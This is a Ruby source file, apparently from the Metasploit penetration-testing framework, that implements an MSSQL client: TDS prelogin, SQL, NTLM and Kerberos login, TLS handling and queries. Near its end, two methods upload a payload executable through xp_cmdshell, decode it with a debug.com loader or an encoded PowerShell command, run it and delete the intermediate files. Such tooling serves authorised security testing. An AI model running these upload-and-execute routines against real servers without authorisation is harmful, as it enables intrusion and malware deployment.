sjanusz-r7
698 lines
24 KiB
Ruby
698 lines
24 KiB
Ruby
require 'metasploit/framework/tcp/client'
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require 'metasploit/framework/mssql/tdssslproxy'
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require 'rex/proto/mssql/client_mixin'
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require 'rex/text'
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require 'msf/core/exploit'
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require 'msf/core/exploit/remote'
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module Rex
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module Proto
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module MSSQL
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class Client
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include Metasploit::Framework::Tcp::Client
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include Rex::Proto::MSSQL::ClientMixin
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include Rex::Text
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include Msf::Exploit::Remote::MSSQL_COMMANDS
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::NTLM::Client
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include Msf::Exploit::Remote::Kerberos::Ticket::Storage
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include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
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attr_accessor :tdsencryption
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attr_accessor :sock
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attr_accessor :auth
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attr_accessor :ssl
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attr_accessor :ssl_version
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attr_accessor :ssl_verify_mode
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attr_accessor :ssl_cipher
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attr_accessor :proxies
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attr_accessor :connection_timeout
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attr_accessor :send_lm
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attr_accessor :send_ntlm
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attr_accessor :send_spn
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attr_accessor :use_lmkey
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attr_accessor :use_ntlm2_session
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attr_accessor :use_ntlmv2
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attr_accessor :windows_authentication
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attr_reader :framework_module
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attr_reader :framework
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# @!attribute max_send_size
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# @return [Integer] The max size of the data to encapsulate in a single packet
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attr_accessor :max_send_size
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# @!attribute send_delay
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# @return [Integer] The delay between sending packets
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attr_accessor :send_delay
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# @!attribute initial_connection_info
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# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.
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# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec
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attr_accessor :initial_connection_info
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# @!attribute current_database
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# @return [String] The database name this client is currently connected to.
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attr_accessor :current_database
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def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil)
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@framework_module = framework_module
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@framework = framework
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@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
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@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
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@send_delay = framework_module.datastore['TCP::send_delay'] || 0
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@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
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@hostname = framework_module.datastore['Mssql::Rhostname'] || ''
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@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false
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@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
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@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
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@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
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@rhost = rhost
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@rport = rport
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@proxies = proxies
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end
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#
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# This method connects to the server over TCP and attempts
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# to authenticate with the supplied username and password
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# The global socket is used and left connected after auth
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#
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def mssql_login(user='sa', pass='', db='', domain_name='')
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disconnect if self.sock
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connect
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mssql_prelogin
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if auth == Msf::Exploit::Remote::AuthOption::KERBEROS
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idx = 0
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pkt = ''
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pkt_hdr = ''
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pkt_hdr = [
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TYPE_TDS7_LOGIN, #type
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STATUS_END_OF_MESSAGE, #status
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0x0000, #length
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0x0000, # SPID
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0x01, # PacketID (unused upon specification
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# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
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0x00 #Window
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]
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pkt << [
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0x00000000, # Size
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0x71000001, # TDS Version
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0x00000000, # Dummy Size
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0x00000007, # Version
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rand(1024+1), # PID
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0x00000000, # ConnectionID
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0xe0, # Option Flags 1
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0x83, # Option Flags 2
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0x00, # SQL Type Flags
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0x00, # Reserved Flags
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0x00000000, # Time Zone
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0x00000000 # Collation
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].pack('VVVVVVCCCCVV')
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cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
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aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
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sname = Rex::Text.to_unicode( rhost )
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framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
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kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
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host: @domain_controller_rhost,
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hostname: @hostname,
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mssql_port: rport,
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proxies: proxies,
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realm: domain_name,
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username: user,
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password: pass,
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framework: framework,
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framework_module: framework_module,
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ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)
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)
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kerberos_result = kerberos_authenticator.authenticate
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ssp_security_blob = kerberos_result[:security_blob]
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idx = pkt.size + 50 # lengths below
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pkt << [idx, cname.length / 2].pack('vv')
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idx += cname.length
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pkt << [0, 0].pack('vv') # User length offset must be 0
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pkt << [0, 0].pack('vv') # Password length offset must be 0
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pkt << [idx, aname.length / 2].pack('vv')
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idx += aname.length
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pkt << [idx, sname.length / 2].pack('vv')
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idx += sname.length
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pkt << [0, 0].pack('vv') # unused
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pkt << [idx, aname.length / 2].pack('vv')
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idx += aname.length
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pkt << [idx, 0].pack('vv') # locales
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pkt << [idx, 0].pack('vv') #db
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# ClientID (should be mac address)
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pkt << Rex::Text.rand_text(6)
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# SSP
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pkt << [idx, ssp_security_blob.length].pack('vv')
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idx += ssp_security_blob.length
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pkt << [idx, 0].pack('vv') # AtchDBFile
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pkt << cname
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pkt << aname
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pkt << sname
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pkt << aname
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pkt << ssp_security_blob
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# Total packet length
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pkt[0, 4] = [pkt.length].pack('V')
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pkt_hdr[2] = pkt.length + 8
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pkt = pkt_hdr.pack("CCnnCC") + pkt
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# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
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# has a strange behavior that differs from the specifications
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# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
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# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
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resp = mssql_send_recv(pkt, 15, false)
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info = {:errors => []}
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info = mssql_parse_reply(resp, info)
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self.initial_connection_info = info
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return false if not info
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return info[:login_ack] ? true : false
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elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication
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idx = 0
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pkt = ''
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pkt_hdr = ''
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pkt_hdr = [
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TYPE_TDS7_LOGIN, #type
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STATUS_END_OF_MESSAGE, #status
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0x0000, #length
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0x0000, # SPID
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0x01, # PacketID (unused upon specification
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# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
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0x00 #Window
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]
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pkt << [
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0x00000000, # Size
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0x71000001, # TDS Version
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0x00000000, # Dummy Size
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0x00000007, # Version
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rand(1024+1), # PID
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0x00000000, # ConnectionID
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0xe0, # Option Flags 1
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0x83, # Option Flags 2
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0x00, # SQL Type Flags
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0x00, # Reserved Flags
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0x00000000, # Time Zone
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0x00000000 # Collation
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].pack('VVVVVVCCCCVV')
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cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
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aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
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sname = Rex::Text.to_unicode( rhost )
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dname = Rex::Text.to_unicode( db )
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workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
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ntlm_client = ::Net::NTLM::Client.new(
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user,
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pass,
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workstation: workstation_name,
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domain: domain_name,
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)
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type1 = ntlm_client.init_context
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# SQL 2012, at least, does not support KEY_EXCHANGE
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type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
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ntlmsspblob = type1.serialize
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idx = pkt.size + 50 # lengths below
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pkt << [idx, cname.length / 2].pack('vv')
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idx += cname.length
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pkt << [0, 0].pack('vv') # User length offset must be 0
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pkt << [0, 0].pack('vv') # Password length offset must be 0
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pkt << [idx, aname.length / 2].pack('vv')
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idx += aname.length
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pkt << [idx, sname.length / 2].pack('vv')
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idx += sname.length
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pkt << [0, 0].pack('vv') # unused
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pkt << [idx, aname.length / 2].pack('vv')
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idx += aname.length
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pkt << [idx, 0].pack('vv') # locales
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pkt << [idx, 0].pack('vv') #db
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# ClientID (should be mac address)
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pkt << Rex::Text.rand_text(6)
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# NTLMSSP
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pkt << [idx, ntlmsspblob.length].pack('vv')
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idx += ntlmsspblob.length
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pkt << [idx, 0].pack('vv') # AtchDBFile
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pkt << cname
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pkt << aname
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pkt << sname
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pkt << aname
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pkt << ntlmsspblob
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# Total packet length
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pkt[0, 4] = [pkt.length].pack('V')
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pkt_hdr[2] = pkt.length + 8
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pkt = pkt_hdr.pack("CCnnCC") + pkt
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# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
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# has a strange behavior that differs from the specifications
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# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
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# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
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if tdsencryption == true
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proxy = TDSSSLProxy.new(sock)
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proxy.setup_ssl
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resp = proxy.send_recv(pkt)
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else
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resp = mssql_send_recv(pkt, 15, false)
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end
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# Strip the TDS header
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resp = resp[3..-1]
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type3 = ntlm_client.init_context([resp].pack('m'))
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type3_blob = type3.serialize
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# Create an SSPIMessage
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idx = 0
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pkt = ''
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pkt_hdr = ''
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pkt_hdr = [
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TYPE_SSPI_MESSAGE, #type
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STATUS_END_OF_MESSAGE, #status
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0x0000, #length
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0x0000, # SPID
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0x01, # PacketID
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0x00 #Window
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]
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pkt_hdr[2] = type3_blob.length + 8
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pkt = pkt_hdr.pack("CCnnCC") + type3_blob
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if self.tdsencryption == true
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resp = mssql_ssl_send_recv(pkt, proxy)
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proxy.cleanup
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proxy = nil
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else
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resp = mssql_send_recv(pkt)
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end
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#SQL Server Authentication
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else
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idx = 0
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pkt = ''
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pkt << [
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0x00000000, # Dummy size
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0x71000001, # TDS Version
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0x00000000, # Size
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0x00000007, # Version
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rand(1024+1), # PID
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0x00000000, # ConnectionID
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0xe0, # Option Flags 1
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0x03, # Option Flags 2
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0x00, # SQL Type Flags
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0x00, # Reserved Flags
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0x00000000, # Time Zone
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0x00000000 # Collation
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].pack('VVVVVVCCCCVV')
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cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
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uname = Rex::Text.to_unicode( user )
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pname = mssql_tds_encrypt( pass )
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aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
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sname = Rex::Text.to_unicode( rhost )
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dname = Rex::Text.to_unicode( db )
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idx = pkt.size + 50 # lengths below
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pkt << [idx, cname.length / 2].pack('vv')
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idx += cname.length
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pkt << [idx, uname.length / 2].pack('vv')
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idx += uname.length
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pkt << [idx, pname.length / 2].pack('vv')
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idx += pname.length
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pkt << [idx, aname.length / 2].pack('vv')
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idx += aname.length
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pkt << [idx, sname.length / 2].pack('vv')
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idx += sname.length
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pkt << [0, 0].pack('vv')
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pkt << [idx, aname.length / 2].pack('vv')
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idx += aname.length
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pkt << [idx, 0].pack('vv')
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pkt << [idx, dname.length / 2].pack('vv')
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idx += dname.length
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# The total length has to be embedded twice more here
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pkt << [
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0,
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0,
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0x12345678,
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0x12345678
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].pack('vVVV')
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pkt << cname
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pkt << uname
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pkt << pname
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pkt << aname
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pkt << sname
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pkt << aname
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pkt << dname
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# Total packet length
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pkt[0, 4] = [pkt.length].pack('V')
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# Embedded packet lengths
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pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
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# Packet header and total length including header
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pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
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if self.tdsencryption == true
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proxy = TDSSSLProxy.new(sock)
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proxy.setup_ssl
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resp = mssql_ssl_send_recv(pkt, proxy)
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proxy.cleanup
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proxy = nil
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else
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resp = mssql_send_recv(pkt)
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end
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end
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info = {:errors => []}
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info = mssql_parse_reply(resp, info)
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self.initial_connection_info = info
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return false if not info
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info[:login_ack] ? true : false
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end
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#
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#this method send a prelogin packet and check if encryption is off
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#
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def mssql_prelogin(enc_error=false)
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pkt = ""
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pkt_hdr = ""
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pkt_data_token = ""
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pkt_data = ""
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pkt_hdr = [
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TYPE_PRE_LOGIN_MESSAGE, #type
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STATUS_END_OF_MESSAGE, #status
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0x0000, #length
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0x0000, # SPID
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0x00, # PacketID
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0x00 #Window
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]
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version = [0x55010008, 0x0000].pack("Vv")
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# if manually set, we will honour
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if tdsencryption == true
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encryption = ENCRYPT_ON
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else
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encryption = ENCRYPT_NOT_SUP
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end
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instoptdata = "MSSQLServer\0"
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threadid = "\0\0" + Rex::Text.rand_text(2)
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idx = 21 # size of pkt_data_token
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pkt_data_token << [
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0x00, # Token 0 type Version
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idx , # VersionOffset
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version.length, # VersionLength
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0x01, # Token 1 type Encryption
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idx = idx + version.length, # EncryptionOffset
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0x01, # EncryptionLength
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0x02, # Token 2 type InstOpt
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idx = idx + 1, # InstOptOffset
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instoptdata.length, # InstOptLength
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0x03, # Token 3 type Threadid
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idx + instoptdata.length, # ThreadIdOffset
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0x04, # ThreadIdLength
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0xFF
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].pack("CnnCnnCnnCnnC")
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pkt_data << pkt_data_token
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pkt_data << version
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pkt_data << encryption
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pkt_data << instoptdata
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pkt_data << threadid
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pkt_hdr[2] = pkt_data.length + 8
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pkt = pkt_hdr.pack("CCnnCC") + pkt_data
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resp = mssql_send_recv(pkt)
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idx = 0
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while resp && resp[0, 1] != "\xff" && resp.length > 5
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token = resp.slice!(0, 5)
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token = token.unpack("Cnn")
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idx -= 5
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if token[0] == 0x01
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idx += token[1]
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break
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end
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end
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if idx > 0
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encryption_mode = resp[idx, 1].unpack("C")[0]
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else
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framework_module.print_error("Unable to parse encryption req " \
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"during pre-login, this may not be a MSSQL server")
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encryption_mode = ENCRYPT_NOT_SUP
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end
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##########################################################
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# Our initial prelogin pkt above said we didnt support
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# encryption (it's quicker and the default).
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#
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# Per the matrix on the following link, SQL Server will
|
|
# terminate the connection if it does require TLS,
|
|
# otherwise it will accept an unencrypted session. As
|
|
# part of this initial response packet, it also returns
|
|
# ENCRYPT_REQ.
|
|
#
|
|
# https://msdn.microsoft.com\
|
|
# /en-us/library/ee320519(v=sql.105).aspx
|
|
#
|
|
##########################################################
|
|
|
|
if encryption_mode == ENCRYPT_REQ
|
|
# restart prelogin process except that we tell SQL Server
|
|
# than we are now able to encrypt
|
|
disconnect if self.sock
|
|
connect
|
|
|
|
# offset 35 is the flag - turn it on
|
|
pkt[35] = [ENCRYPT_ON].pack('C')
|
|
self.tdsencryption = true
|
|
framework_module.print_status("TLS encryption has " \
|
|
"been enabled based on server response.")
|
|
|
|
resp = mssql_send_recv(pkt)
|
|
|
|
idx = 0
|
|
|
|
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
|
token = resp.slice!(0, 5)
|
|
token = token.unpack("Cnn")
|
|
idx -= 5
|
|
if token[0] == 0x01
|
|
idx += token[1]
|
|
break
|
|
end
|
|
end
|
|
if idx > 0
|
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
|
else
|
|
framework_module.print_error("Unable to parse encryption req " \
|
|
"during pre-login, this may not be a MSSQL server")
|
|
encryption_mode = ENCRYPT_NOT_SUP
|
|
end
|
|
end
|
|
encryption_mode
|
|
end
|
|
|
|
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
|
tdsproxy.send_recv(req)
|
|
end
|
|
|
|
def query(sqla, doprint=false, opts={})
|
|
info = { :sql => sqla }
|
|
opts[:timeout] ||= 15
|
|
pkts = []
|
|
idx = 0
|
|
|
|
bsize = 4096 - 8
|
|
chan = 0
|
|
|
|
@cnt ||= 0
|
|
@cnt += 1
|
|
|
|
sql = Rex::Text.to_unicode(sqla)
|
|
while(idx < sql.length)
|
|
buf = sql[idx, bsize]
|
|
flg = buf.length < bsize ? "\x01" : "\x00"
|
|
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
|
|
idx += bsize
|
|
|
|
end
|
|
|
|
resp = mssql_send_recv(pkts.join, opts[:timeout])
|
|
mssql_parse_reply(resp, info)
|
|
mssql_print_reply(info) if doprint
|
|
info
|
|
end
|
|
|
|
def mssql_upload_exec(exe, debug=false)
|
|
hex = exe.unpack("H*")[0]
|
|
|
|
var_bypass = Rex::Text.rand_text_alpha(8)
|
|
var_payload = Rex::Text.rand_text_alpha(8)
|
|
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
print_status("Writing the debug.com loader to the disk...")
|
|
h2b = File.read(@hex2binary, File.size(@hex2binary))
|
|
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
|
|
h2b.split(/\n/).each do |line|
|
|
mssql_xpcmdshell("#{line}", false)
|
|
end
|
|
|
|
print_status("Converting the debug script to an executable...")
|
|
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
|
|
|
|
print_status("Uploading the payload, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
|
|
print_status("Converting the encoded payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
|
end
|
|
|
|
def powershell_upload_exec(exe, debug=false)
|
|
# hex converter
|
|
hex = exe.unpack("H*")[0]
|
|
# create random alpha 8 character names
|
|
#var_bypass = rand_text_alpha(8)
|
|
var_payload = rand_text_alpha(8)
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
# our payload converter, grabs a hex file and converts it to binary for us through powershell
|
|
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
|
|
h2b_unicode=Rex::Text.to_unicode(h2b)
|
|
# base64 encode it, this allows us to perform execution through powershell without registry changes
|
|
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
|
|
print_status("Uploading the payload #{var_payload}, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
|
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
|
print_status("Be sure to cleanup #{var_payload}.exe...")
|
|
end
|
|
|
|
# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.
|
|
# @return [Hash] Returns a hash of values if the provided type exists.
|
|
# @return [Hash] Returns the whole connection info if envchange is nil.
|
|
# @return [Hash] Returns an empty hash if the provided type is not present.
|
|
def initial_info_for_envchange(envchange: nil)
|
|
return self.initial_connection_info if envchange.nil?
|
|
return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))
|
|
|
|
self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
|
|
end
|
|
|
|
def peerhost
|
|
rhost
|
|
end
|
|
|
|
def peerport
|
|
rport
|
|
end
|
|
|
|
def peerinfo
|
|
"#{peerhost}:#{peerport}"
|
|
end
|
|
|
|
protected
|
|
|
|
def rhost
|
|
@rhost
|
|
end
|
|
|
|
def rport
|
|
@rport
|
|
end
|
|
|
|
def chost
|
|
return nil
|
|
end
|
|
|
|
def cport
|
|
return nil
|
|
end
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|